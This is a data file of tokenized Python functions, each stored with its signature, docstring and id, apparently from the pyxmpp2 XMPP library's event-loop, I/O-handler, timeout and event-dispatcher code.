{"signature": "def _prepare_io_handler(self, handler):", "body": "logger.debug(\"<STR_LIT>\".format(handler))<EOL>ret = handler.prepare()<EOL>logger.debug(\"<STR_LIT>\".format(ret))<EOL>if isinstance(ret, HandlerReady):<EOL><INDENT>del self._unprepared_handlers[handler]<EOL>prepared = True<EOL><DEDENT>elif isinstance(ret, PrepareAgain):<EOL><INDENT>if ret.timeout is not None:<EOL><INDENT>if self._timeout is not None:<EOL><INDENT>self._timeout = min(self._timeout, ret.timeout)<EOL><DEDENT>else:<EOL><INDENT>self._timeout = ret.timeout<EOL><DEDENT><DEDENT>prepared = False<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return prepared<EOL>", "docstring": "Call the `interfaces.IOHandler.prepare` method and\n        remove the handler from unprepared handler list when done.", "id": "f15265:c0:m3"}
{"signature": "def _remove_io_handler(self, handler):", "body": "if handler in self._unprepared_handlers:<EOL><INDENT>old_fileno = self._unprepared_handlers[handler]<EOL>del self._unprepared_handlers[handler]<EOL><DEDENT>else:<EOL><INDENT>old_fileno = handler.fileno()<EOL><DEDENT>if old_fileno is not None:<EOL><INDENT>try:<EOL><INDENT>del self._handlers[old_fileno]<EOL>self.poll.unregister(old_fileno)<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Remove an i/o-handler.", "id": "f15265:c0:m4"}
{"signature": "def loop_iteration(self, timeout = <NUM_LIT>):", "body": "next_timeout, sources_handled = self._call_timeout_handlers()<EOL>if self._quit:<EOL><INDENT>return sources_handled<EOL><DEDENT>if self._timeout is not None:<EOL><INDENT>timeout = min(timeout, self._timeout)<EOL><DEDENT>if next_timeout is not None:<EOL><INDENT>timeout = min(next_timeout, timeout)<EOL><DEDENT>for handler in list(self._unprepared_handlers):<EOL><INDENT>self._configure_io_handler(handler)<EOL><DEDENT>events = self.poll.poll(timeout * <NUM_LIT:1000>)<EOL>self._timeout = None<EOL>for (fileno, event) in events:<EOL><INDENT>if event & select.POLLHUP:<EOL><INDENT>self._handlers[fileno].handle_hup()<EOL><DEDENT>if event & select.POLLNVAL:<EOL><INDENT>self._handlers[fileno].handle_nval()<EOL><DEDENT>if event & select.POLLIN:<EOL><INDENT>self._handlers[fileno].handle_read()<EOL><DEDENT>elif event & select.POLLERR:<EOL><INDENT>self._handlers[fileno].handle_err()<EOL><DEDENT>if event & select.POLLOUT:<EOL><INDENT>self._handlers[fileno].handle_write()<EOL><DEDENT>sources_handled += <NUM_LIT:1><EOL>self._configure_io_handler(self._handlers[fileno])<EOL><DEDENT>return sources_handled<EOL>", "docstring": "A loop iteration - check any scheduled events\n        and I/O available and run the handlers.", "id": "f15265:c0:m5"}
{"signature": "def event_handler(event_class = None):", "body": "def decorator(func):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>func._pyxmpp_event_handled = event_class<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Method decorator generator for decorating event handlers.\n\n    To be used on `EventHandler` subclass methods only.\n\n    Such methods may return:\n        - `True`: if they 'completely' handled the event and no more events\n          should be called (use with care)\n        - `QUIT`: to quit the main loop. Other handlers still will be called\n          for current event and nother events in the queue.\n\n    :Parameters:\n        - `event_class`: event class expected\n    :Types:\n        - `event_class`: subclass of `Event`", "id": "f15266:m0"}
{"signature": "def timeout_handler(interval, recurring = None):", "body": "def decorator(func):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>func._pyxmpp_timeout = interval<EOL>func._pyxmpp_recurring = recurring<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Method decorator generator for decorating event handlers.\n\n    To be used on `TimeoutHandler` subclass methods only.\n\n    :Parameters:\n        - `interval`: interval (in seconds) before the method will be called.\n        - `recurring`: When `True`, the handler will be called each `interval`\n          seconds, when `False` it will be called only once. If `True`,\n          then the handler should return the next interval or `None` if it\n          should not be called again.\n    :Types:\n        - `interval`: `float`\n        - `recurring`: `bool`", "id": "f15266:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def fileno(self):<DEDENT>", "body": "return None<EOL>", "docstring": "Return file descriptor to poll or select.", "id": "f15266:c3:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def is_readable(self):<DEDENT>", "body": "return False<EOL>", "docstring": ":Return: `True` when the I/O channel can be read", "id": "f15266:c3:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def wait_for_readability(self):<DEDENT>", "body": "return False<EOL>", "docstring": "Stop current thread until the channel is readable.\n\n:Return: `False` if it won't be readable (e.g. is closed)", "id": "f15266:c3:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def is_writable(self):<DEDENT>", "body": "return False<EOL>", "docstring": ":Return: `True` when the I/O channel can be written to", "id": "f15266:c3:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def prepare(self):<DEDENT>", "body": "return HandlerReady()<EOL>", "docstring": "Prepare the I/O handler for the event loop or an event loop\niteration.\n\n:Return: `HandlerReady()` if there is no need to call `prepare` again\n    or `PrepareAgain()` otherwise.\n:Returntype: `IOHandlerPrepareResult`", "id": "f15266:c3:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def wait_for_writability(self):<DEDENT>", "body": "return False<EOL>", "docstring": "Stop current thread until the channel is writable.\n\n:Return: `False` if it won't be readable (e.g. is closed)", "id": "f15266:c3:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def handle_write(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Handle the 'channel writable' state. E.g. send buffered data via a\nsocket.", "id": "f15266:c3:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def handle_read(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Handle the 'channel readable' state. E.g. read from a socket.", "id": "f15266:c3:m7"}
{"signature": "@abstractmethod<EOL><INDENT>def handle_hup(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Handle the 'channel hungup' state. The handler should not be writtable\nafter this.", "id": "f15266:c3:m8"}
{"signature": "@abstractmethod<EOL><INDENT>def handle_err(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Handle an error reported.", "id": "f15266:c3:m9"}
{"signature": "@abstractmethod<EOL><INDENT>def handle_nval(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Handle an 'invalid file descriptor' event.", "id": "f15266:c3:m10"}
{"signature": "@abstractmethod<EOL><INDENT>def close(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Close the channell immediately, so it won't expect more events.", "id": "f15266:c3:m11"}
{"signature": "@abstractmethod<EOL><INDENT>def add_handler(self, handler):<DEDENT>", "body": "pass<EOL>", "docstring": "Add a new handler to the main loop.\n\n        :Parameters:\n            - `handler`: the handler object to add\n        :Types:\n            - `handler`: `IOHandler` or `EventHandler` or `TimeoutHandler`", "id": "f15266:c8:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def remove_handler(self, handler):<DEDENT>", "body": "pass<EOL>", "docstring": "Add a new handler to the main loop.\n\n        Do nothing if the handler is not registered at the main loop.\n\n        :Parameters:\n            - `handler`: the handler object to add\n        :Types:\n            - `handler`: `IOHandler` or `EventHandler` or `TimeoutHandler`", "id": "f15266:c8:m1"}
{"signature": "def delayed_call(self, delay, function):", "body": "main_loop = self<EOL>handler = []<EOL>class DelayedCallHandler(TimeoutHandler):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>@timeout_handler(delay, False)<EOL>def callback(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:<EOL><INDENT>function()<EOL><DEDENT>finally:<EOL><INDENT>main_loop.remove_handler(handler[<NUM_LIT:0>])<EOL><DEDENT><DEDENT><DEDENT>handler.append(DelayedCallHandler())<EOL>self.add_handler(handler[<NUM_LIT:0>])<EOL>", "docstring": "Schedule function to be called from the main loop after `delay`\n        seconds.\n\n        :Parameters:\n            - `delay`: seconds to wait\n        :Types:\n            - `delay`: `float`", "id": "f15266:c8:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def quit(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Make the loop stop after the current iteration.", "id": "f15266:c8:m3"}
{"signature": "@abstractproperty<EOL><INDENT>def started(self):<DEDENT>", "body": "return False<EOL>", "docstring": "`True` then the loop has been started.", "id": "f15266:c8:m4"}
{"signature": "@abstractproperty<EOL><INDENT>def finished(self):<DEDENT>", "body": "return False<EOL>", "docstring": "`True` then the loop has been finished or is about to finish (the\n        final iteration in progress).", "id": "f15266:c8:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def loop(self, timeout = None):<DEDENT>", "body": "pass<EOL>", "docstring": "Run the loop.\n\n        :Parameters:\n            - `timeout`: time to loop, if not given the method will run\n              until `finished`\n        :Types:\n            - `timeout`: `float`", "id": "f15266:c8:m6"}
{"signature": "@abstractmethod<EOL><INDENT>def loop_iteration(self, timeout = <NUM_LIT:1>):<DEDENT>", "body": "pass<EOL>", "docstring": "Single loop iteration.\n\n        :Parameters:\n            - `timeout`: maximum time (in seconds) to block for\n        :Types:\n            - `timeout`: `float`", "id": "f15266:c8:m7"}
{"signature": "def _add_io_handler(self, handler):", "body": "raise NotImplementedError<EOL>", "docstring": "Add an `IOHandler` to the loop.", "id": "f15267:c0:m3"}
{"signature": "def _remove_io_handler(self, handler):", "body": "raise NotImplementedError<EOL>", "docstring": "Remove an `IOHandler` from the loop.", "id": "f15267:c0:m4"}
{"signature": "def check_events(self):", "body": "if self.event_dispatcher.flush() is QUIT:<EOL><INDENT>self._quit = True<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Call the event dispatcher.\n\n        Quit the main loop when the `QUIT` event is reached.\n\n        :Return: `True` if `QUIT` was reached.", "id": "f15267:c0:m10"}
{"signature": "def _add_timeout_handler(self, handler):", "body": "<EOL>now = time.time()<EOL>for dummy, method in inspect.getmembers(handler, callable):<EOL><INDENT>if not hasattr(method, \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>self._timeout_handlers.append((now + method._pyxmpp_timeout,<EOL>method))<EOL><DEDENT>self._timeout_handlers.sort(key = lambda x: x[<NUM_LIT:0>])<EOL>", "docstring": "Add a `TimeoutHandler` to the main loop.", "id": "f15267:c0:m11"}
{"signature": "def _remove_timeout_handler(self, handler):", "body": "self._timeout_handlers = [(t, h) for (t, h)<EOL>in self._timeout_handlers<EOL>if h.im_self != handler]<EOL>", "docstring": "Remove `TimeoutHandler` from the main loop.", "id": "f15267:c0:m12"}
{"signature": "def _call_timeout_handlers(self):", "body": "sources_handled = <NUM_LIT:0><EOL>now = time.time()<EOL>schedule = None<EOL>while self._timeout_handlers:<EOL><INDENT>schedule, handler = self._timeout_handlers[<NUM_LIT:0>]<EOL>if schedule <= now:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(handler))<EOL>self._timeout_handlers = self._timeout_handlers[<NUM_LIT:1>:]<EOL>result = handler()<EOL>logger.debug(\"<STR_LIT>\".format(result))<EOL>rec = handler._pyxmpp_recurring<EOL>if rec:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(handler._pyxmpp_timeout))<EOL>self._timeout_handlers.append(<EOL>(now + handler._pyxmpp_timeout, handler))<EOL>self._timeout_handlers.sort(key = lambda x: x[<NUM_LIT:0>])<EOL><DEDENT>elif rec is None and result is not None:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(result))<EOL>self._timeout_handlers.append((now + result, handler))<EOL>self._timeout_handlers.sort(key = lambda x: x[<NUM_LIT:0>])<EOL><DEDENT>sources_handled += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT>if self.check_events():<EOL><INDENT>return <NUM_LIT:0>, sources_handled<EOL><DEDENT><DEDENT>if self._timeout_handlers and schedule:<EOL><INDENT>timeout = schedule - now<EOL><DEDENT>else:<EOL><INDENT>timeout = None<EOL><DEDENT>return timeout, sources_handled<EOL>", "docstring": "Call the timeout handlers due.\n\n        :Return: (next_event_timeout, sources_handled) tuple.\n            next_event_timeout is number of seconds until the next timeout\n            event, sources_handled is number of handlers called.", "id": "f15267:c0:m13"}
{"signature": "def _add_io_handler(self, handler):", "body": "self._handlers.append(handler)<EOL>", "docstring": "Add an I/O handler to the loop.", "id": "f15268:c0:m1"}
{"signature": "def loop_iteration(self, timeout = <NUM_LIT>):", "body": "if self.check_events():<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>next_timeout, sources_handled = self._call_timeout_handlers()<EOL>if self._quit:<EOL><INDENT>return sources_handled<EOL><DEDENT>if next_timeout is not None:<EOL><INDENT>timeout = min(next_timeout, timeout)<EOL><DEDENT>readable, writable, next_timeout = self._prepare_handlers()<EOL>if next_timeout is not None:<EOL><INDENT>timeout = min(next_timeout, timeout)<EOL><DEDENT>if not readable and not writable:<EOL><INDENT>readable, writable, _unused = [], [], None<EOL>time.sleep(timeout)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format( readable, writable,timeout))<EOL>readable, writable, _unused = select.select(<EOL>readable, writable, [], timeout)<EOL><DEDENT>for handler in readable:<EOL><INDENT>handler.handle_read()<EOL>sources_handled += <NUM_LIT:1><EOL><DEDENT>for handler in writable:<EOL><INDENT>handler.handle_write()<EOL>sources_handled += <NUM_LIT:1><EOL><DEDENT>return sources_handled<EOL>", "docstring": "A loop iteration - check any scheduled events\n        and I/O available and run the handlers.", "id": "f15268:c0:m3"}
{"signature": "def _prepare_handlers(self):", "body": "timeout = None<EOL>readable = []<EOL>writable = []<EOL>for handler in self._handlers:<EOL><INDENT>if handler not in self._prepared:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>ret = handler.prepare()<EOL>logger.debug(\"<STR_LIT>\".format(ret))<EOL>if isinstance(ret, HandlerReady):<EOL><INDENT>self._prepared.add(handler)<EOL><DEDENT>elif isinstance(ret, PrepareAgain):<EOL><INDENT>if ret.timeout is not None:<EOL><INDENT>if timeout is None:<EOL><INDENT>timeout = ret.timeout<EOL><DEDENT>else:<EOL><INDENT>timeout = min(timeout, ret.timeout)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if not handler.fileno():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>continue<EOL><DEDENT>if handler.is_readable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>readable.append(handler)<EOL><DEDENT>if handler.is_writable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>writable.append(handler)<EOL><DEDENT><DEDENT>return readable, writable, timeout<EOL>", "docstring": "Prepare the I/O handlers.\n\n        :Return: (readable, writable, timeout) tuple. 'readable' is the list\n            of readable handlers, 'writable' - the list of writable handlers,\n            'timeout' the suggested maximum timeout for this loop iteration or\n            `None`", "id": "f15268:c0:m4"}
{"signature": "def hold_exception(method):", "body": "@functools.wraps(method)<EOL>def wrapper(self, *args, **kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>try:<EOL><INDENT>return method(self, *args, **kwargs)<EOL><DEDENT>except Exception:<EOL><INDENT>if self.exc_info:<EOL><INDENT>raise<EOL><DEDENT>if not self._stack:<EOL><INDENT>logger.debug('<STR_LIT>'<EOL>'<STR_LIT>'.format(method))<EOL>raise<EOL><DEDENT>self.exc_info = sys.exc_info()<EOL>logger.debug(\"<STR_LIT>\",<EOL>exc_info = self.exc_info)<EOL>main_loop = self._stack[-<NUM_LIT:1>]<EOL>if main_loop is not None:<EOL><INDENT>main_loop.quit()<EOL><DEDENT>return False<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator for glib callback methods of GLibMainLoop used to store the\n    exception raised.", "id": "f15270:m0"}
{"signature": "def _add_io_handler(self, handler):", "body": "self._unprepared_handlers[handler] = None<EOL>self._configure_io_handler(handler)<EOL>", "docstring": "Add an I/O handler to the loop.", "id": "f15270:c0:m2"}
{"signature": "def _configure_io_handler(self, handler):", "body": "if self.check_events():<EOL><INDENT>return<EOL><DEDENT>if handler in self._unprepared_handlers:<EOL><INDENT>old_fileno = self._unprepared_handlers[handler]<EOL>prepared = self._prepare_io_handler(handler)<EOL><DEDENT>else:<EOL><INDENT>old_fileno = None<EOL>prepared = True<EOL><DEDENT>fileno = handler.fileno()<EOL>if old_fileno is not None and fileno != old_fileno:<EOL><INDENT>tag = self._io_sources.pop(handler, None)<EOL>if tag is not None:<EOL><INDENT>glib.source_remove(tag)<EOL><DEDENT><DEDENT>if not prepared:<EOL><INDENT>self._unprepared_handlers[handler] = fileno<EOL><DEDENT>if fileno is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(handler))<EOL>return<EOL><DEDENT>events = <NUM_LIT:0><EOL>if handler.is_readable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>events |= glib.IO_IN | glib.IO_ERR<EOL><DEDENT>if handler.is_writable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>events |= glib.IO_OUT | glib.IO_HUP | glib.IO_ERR<EOL><DEDENT>if events:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(handler, fileno, events))<EOL>glib.io_add_watch(fileno, events, self._io_callback, handler)<EOL><DEDENT>", "docstring": "Register an io-handler with the glib main loop.", "id": "f15270:c0:m3"}
{"signature": "@hold_exception<EOL><INDENT>def _io_callback(self, fileno, condition, handler):<DEDENT>", "body": "<EOL>self._anything_done = True<EOL>logger.debug(\"<STR_LIT>\".format(handler,<EOL>condition))<EOL>try:<EOL><INDENT>if condition & glib.IO_HUP:<EOL><INDENT>handler.handle_hup()<EOL><DEDENT>if condition & glib.IO_IN:<EOL><INDENT>handler.handle_read()<EOL><DEDENT>elif condition & glib.IO_ERR:<EOL><INDENT>handler.handle_err()<EOL><DEDENT>if condition & glib.IO_OUT:<EOL><INDENT>handler.handle_write()<EOL><DEDENT>if self.check_events():<EOL><INDENT>return False<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self._io_sources.pop(handler, None)<EOL>self._configure_io_handler(handler)<EOL>self._prepare_pending()<EOL><DEDENT>return False<EOL>", "docstring": "Called by glib on I/O event.", "id": "f15270:c0:m4"}
{"signature": "def _prepare_io_handler(self, handler):", "body": "logger.debug(\"<STR_LIT>\".format(handler))<EOL>self._unprepared_pending.discard(handler)<EOL>ret = handler.prepare()<EOL>logger.debug(\"<STR_LIT>\".format(ret))<EOL>if isinstance(ret, HandlerReady):<EOL><INDENT>del self._unprepared_handlers[handler]<EOL>prepared = True<EOL><DEDENT>elif isinstance(ret, PrepareAgain):<EOL><INDENT>if ret.timeout == <NUM_LIT:0>:<EOL><INDENT>tag = glib.idle_add(self._prepare_io_handler_cb, handler)<EOL>self._prepare_sources[handler] = tag<EOL><DEDENT>elif ret.timeout is not None:<EOL><INDENT>timeout = ret.timeout<EOL>timeout = int(timeout * <NUM_LIT:1000>)<EOL>if not timeout:<EOL><INDENT>timeout = <NUM_LIT:1><EOL><DEDENT>tag = glib.timeout_add(timeout, self._prepare_io_handler_cb,<EOL>handler)<EOL>self._prepare_sources[handler] = tag<EOL><DEDENT>else:<EOL><INDENT>self._unprepared_pending.add(handler)<EOL><DEDENT>prepared = False<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>return prepared<EOL>", "docstring": "Call the `interfaces.IOHandler.prepare` method and\n        remove the handler from unprepared handler list when done.", "id": "f15270:c0:m5"}
{"signature": "def _prepare_pending(self):", "body": "if not self._unprepared_pending:<EOL><INDENT>return<EOL><DEDENT>for handler in list(self._unprepared_pending):<EOL><INDENT>self._configure_io_handler(handler)<EOL><DEDENT>self.check_events()<EOL>", "docstring": "Prepare pending handlers.", "id": "f15270:c0:m6"}
{"signature": "@hold_exception<EOL><INDENT>def _prepare_io_handler_cb(self, handler):<DEDENT>", "body": "self._anything_done = True<EOL>logger.debug(\"<STR_LIT>\".format(handler))<EOL>self._configure_io_handler(handler)<EOL>self._prepare_sources.pop(handler, None)<EOL>return False<EOL>", "docstring": "Timeout callback called to try prepare an IOHandler again.", "id": "f15270:c0:m7"}
{"signature": "def _remove_io_handler(self, handler):", "body": "if handler in self._unprepared_handlers:<EOL><INDENT>del self._unprepared_handlers[handler]<EOL><DEDENT>tag = self._prepare_sources.pop(handler, None)<EOL>if tag is not None:<EOL><INDENT>glib.source_remove(tag)<EOL><DEDENT>tag = self._io_sources.pop(handler, None)<EOL>if tag is not None:<EOL><INDENT>glib.source_remove(tag)<EOL><DEDENT>", "docstring": "Remove an i/o-handler.", "id": "f15270:c0:m8"}
{"signature": "def _add_timeout_handler(self, handler):", "body": "<EOL>for dummy, method in inspect.getmembers(handler, callable):<EOL><INDENT>if not hasattr(method, \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>tag = glib.timeout_add(int(method._pyxmpp_timeout * <NUM_LIT:1000>),<EOL>self._timeout_cb, method)<EOL>self._timer_sources[method] = tag<EOL><DEDENT>", "docstring": "Add a `TimeoutHandler` to the main loop.", "id": "f15270:c0:m9"}
{"signature": "def _remove_timeout_handler(self, handler):", "body": "for dummy, method in inspect.getmembers(handler, callable):<EOL><INDENT>if not hasattr(method, \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>tag = self._timer_sources.pop(method, None)<EOL>if tag is not None:<EOL><INDENT>glib.source_remove(tag)<EOL><DEDENT><DEDENT>", "docstring": "Remove `TimeoutHandler` from the main loop.", "id": "f15270:c0:m10"}
{"signature": "@hold_exception<EOL><INDENT>def _timeout_cb(self, method):<DEDENT>", "body": "self._anything_done = True<EOL>logger.debug(\"<STR_LIT>\".format(method))<EOL>result = method()<EOL>rec = method._pyxmpp_recurring<EOL>if rec:<EOL><INDENT>self._prepare_pending()<EOL>return True<EOL><DEDENT>if rec is None and result is not None:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(result))<EOL>tag = glib.timeout_add(int(result * <NUM_LIT:1000>), self._timeout_cb, method)<EOL>self._timer_sources[method] = tag<EOL><DEDENT>else:<EOL><INDENT>self._timer_sources.pop(method, None)<EOL><DEDENT>self._prepare_pending()<EOL>return False<EOL>", "docstring": "Call the timeout handler due.", "id": "f15270:c0:m11"}
{"signature": "def _loop_timeout_cb(self, main_loop):", "body": "self._anything_done = True<EOL>logger.debug(\"<STR_LIT>\")<EOL>main_loop.quit()<EOL>", "docstring": "Stops the loop after the time specified in the `loop` call.", "id": "f15270:c0:m14"}
{"signature": "def _event_queue_factory(settings):", "body": "return queue.Queue(settings[\"<STR_LIT>\"])<EOL>", "docstring": "Create the default event queue object.\n\n    Use the :r:`event_queue_max_size setting` for the maximum queue size.", "id": "f15271:m0"}
{"signature": "def __init__(self, settings = None, handlers = None):", "body": "if settings is None:<EOL><INDENT>settings = XMPPSettings()<EOL><DEDENT>self.queue = settings[\"<STR_LIT>\"]<EOL>self._handler_map = defaultdict(list)<EOL>if handlers:<EOL><INDENT>self.handlers = list(handlers)<EOL><DEDENT>else:<EOL><INDENT>self.handlers = []<EOL><DEDENT>self._update_handlers()<EOL>self.lock = threading.RLock()<EOL>", "docstring": "Initialize the event dispatcher.\n\n        :Parameters:\n            - `settings`: the settings. \"event_queue\" settings provides the\n              event queue object.\n            - `handlers`: the initial list of event handler objects.\n        :Types:\n            - `settings`: `XMPPSettings`\n            - `handlers`: iterable of objects", "id": "f15271:c0:m0"}
{"signature": "def add_handler(self, handler):", "body": "if not isinstance(handler, EventHandler):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>with self.lock:<EOL><INDENT>if handler in self.handlers:<EOL><INDENT>return<EOL><DEDENT>self.handlers.append(handler)<EOL>self._update_handlers()<EOL><DEDENT>", "docstring": "Add a handler object.\n\n        :Parameters:\n            - `handler`: the object providing event handler methods\n        :Types:\n            - `handler`: `EventHandler`", "id": "f15271:c0:m1"}
{"signature": "def remove_handler(self, handler):", "body": "with self.lock:<EOL><INDENT>if handler in self.handlers:<EOL><INDENT>self.handlers.remove(handler)<EOL>self._update_handlers()<EOL><DEDENT><DEDENT>", "docstring": "Remove a handler object.\n\n        :Parameters:\n            - `handler`: the object to remove", "id": "f15271:c0:m2"}
{"signature": "def _update_handlers(self):", "body": "handler_map = defaultdict(list)<EOL>for i, obj in enumerate(self.handlers):<EOL><INDENT>for dummy, handler in inspect.getmembers(obj, callable):<EOL><INDENT>if not hasattr(handler, \"<STR_LIT>\"):<EOL><INDENT>continue<EOL><DEDENT>event_class = handler._pyxmpp_event_handled<EOL>handler_map[event_class].append( (i, handler) )<EOL><DEDENT><DEDENT>self._handler_map = handler_map<EOL>", "docstring": "Update `_handler_map` after `handlers` have been\n        modified.", "id": "f15271:c0:m3"}
{"signature": "def dispatch(self, block = False, timeout = None):", "body": "logger.debug(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>event = self.queue.get(block, timeout)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>try:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(event))<EOL>if event is QUIT:<EOL><INDENT>return QUIT<EOL><DEDENT>handlers = list(self._handler_map[None])<EOL>klass = event.__class__<EOL>if klass in self._handler_map:<EOL><INDENT>handlers += self._handler_map[klass]<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(handlers))<EOL>handlers.sort(key = lambda x: x[<NUM_LIT:0>])<EOL>for dummy, handler in handlers:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>result = handler(event)<EOL>if isinstance(result, Event):<EOL><INDENT>self.queue.put(result)<EOL><DEDENT>elif result and event is not QUIT:<EOL><INDENT>return event<EOL><DEDENT><DEDENT>return event<EOL><DEDENT>finally:<EOL><INDENT>self.queue.task_done()<EOL><DEDENT>", "docstring": "Get the next event from the queue and pass it to\n        the appropriate handlers.\n\n        :Parameters:\n            - `block`: wait for event if the queue is empty\n            - `timeout`: maximum time, in seconds, to wait if `block` is `True`\n        :Types:\n            - `block`: `bool`\n            - `timeout`: `float`\n\n        :Return: the event handled (may be `QUIT`) or `None`", "id": "f15271:c0:m4"}
{"signature": "def flush(self, dispatch = True):", "body": "if dispatch:<EOL><INDENT>while True:<EOL><INDENT>event = self.dispatch(False)<EOL>if event in (None, QUIT):<EOL><INDENT>return event<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>while True:<EOL><INDENT>try:<EOL><INDENT>self.queue.get(False)<EOL><DEDENT>except queue.Empty:<EOL><INDENT>return None<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Read all events currently in the queue and dispatch them to the\n        handlers unless `dispatch` is `False`.\n\n        Note: If the queue contains `QUIT` the events after it won't be\n        removed.\n\n        :Parameters:\n            - `dispatch`: if the events should be handled (`True`) or ignored\n              (`False`)\n\n        :Return: `QUIT` if the `QUIT` event was reached.", "id": "f15271:c0:m5"}
{"signature": "def loop(self):", "body": "while self.dispatch(True) is not QUIT:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Wait for and dispatch events until `QUIT` is reached.", "id": "f15271:c0:m6"}
{"signature": "def _add_io_handler(self, handler):", "body": "logger.debug('<STR_LIT>', handler)<EOL>self._unprepared_handlers[handler] = None<EOL>self._configure_io_handler(handler)<EOL>", "docstring": "Add an I/O handler to the loop.", "id": "f15273:c0:m1"}
{"signature": "def _configure_io_handler(self, handler):", "body": "if self.check_events():<EOL><INDENT>return<EOL><DEDENT>if handler in self._unprepared_handlers:<EOL><INDENT>old_fileno = self._unprepared_handlers[handler]<EOL>prepared = self._prepare_io_handler(handler)<EOL><DEDENT>else:<EOL><INDENT>old_fileno = None<EOL>prepared = True<EOL><DEDENT>fileno = handler.fileno()<EOL>if old_fileno is not None and fileno != old_fileno:<EOL><INDENT>del self._handlers[old_fileno]<EOL>self.io_loop.remove_handler(old_fileno)<EOL><DEDENT>if not prepared:<EOL><INDENT>self._unprepared_handlers[handler] = fileno<EOL><DEDENT>if not fileno:<EOL><INDENT>return<EOL><DEDENT>update = fileno in self._handlers<EOL>events = ioloop.IOLoop.NONE<EOL>if handler.is_readable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>events |= ioloop.IOLoop.READ<EOL><DEDENT>if handler.is_writable():<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(handler))<EOL>events |= ioloop.IOLoop.WRITE<EOL><DEDENT>if self._handlers.get(fileno, None) == events:<EOL><INDENT>return<EOL><DEDENT>self._handlers[fileno] = events<EOL>if events:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(handler, fileno, events))<EOL>if update:<EOL><INDENT>self.io_loop.update_handler(fileno, events)<EOL><DEDENT>else:<EOL><INDENT>self.io_loop.add_handler(<EOL>fileno, partial(self._handle_event, handler), events<EOL>)<EOL><DEDENT><DEDENT>", "docstring": "Register an io-handler at the polling object.", "id": "f15273:c0:m2"}
